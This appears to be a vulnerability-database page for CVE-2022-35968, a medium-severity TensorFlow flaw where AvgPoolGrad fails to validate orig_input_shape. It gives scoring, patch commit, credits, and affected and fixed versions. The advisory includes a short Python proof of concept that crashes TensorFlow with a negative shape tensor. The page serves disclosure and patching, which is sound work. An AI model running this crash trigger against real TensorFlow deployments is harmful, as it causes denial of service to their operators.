CVE-2022-35968Medium· 5.9▾ SunlitTensorFlow vulnerable to `CHECK` fail in `AvgPoolGrad`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 32.5 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
0.4% → 0.5%
The implementation of AvgPoolGrad does not fully validate the input orig_input_shape. This results in a CHECK failure which can be used to trigger a denial of service attack:
import tensorflow as tf
ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "VALID"
data_format = "NHWC"
orig_input_shape = tf.constant(-536870912, shape=[4], dtype=tf.int32)
grad = tf.constant(.0890338004362538, shape=[1,5,7,1], dtype=tf.float64)
tf.raw_ops.AvgPoolGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)
We have patched the issue in GitHub commit 3a6ac52664c6c095aa2b114e742b0aa17fdce78f.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
tensorflow < 2.7.2tensorflow >= 2.8.0, < 2.8.1tensorflow >= 2.9.0, < 2.9.1tensorflow-cpu < 2.7.2tensorflow-cpu >= 2.8.0, < 2.8.1tensorflow-cpu >= 2.9.0, < 2.9.1tensorflow-gpu < 2.7.2tensorflow-gpu >= 2.8.0, < 2.8.1tensorflow-gpu >= 2.9.0, < 2.9.1Upgrade to a patched release:
tensorflow 2.7.2tensorflow 2.8.1tensorflow 2.9.1tensorflow-cpu 2.7.2tensorflow-cpu 2.8.1tensorflow-cpu 2.9.1tensorflow-gpu 2.7.2tensorflow-gpu 2.8.1tensorflow-gpu 2.9.1Connected by shared product, vendor, weakness, or advisory.
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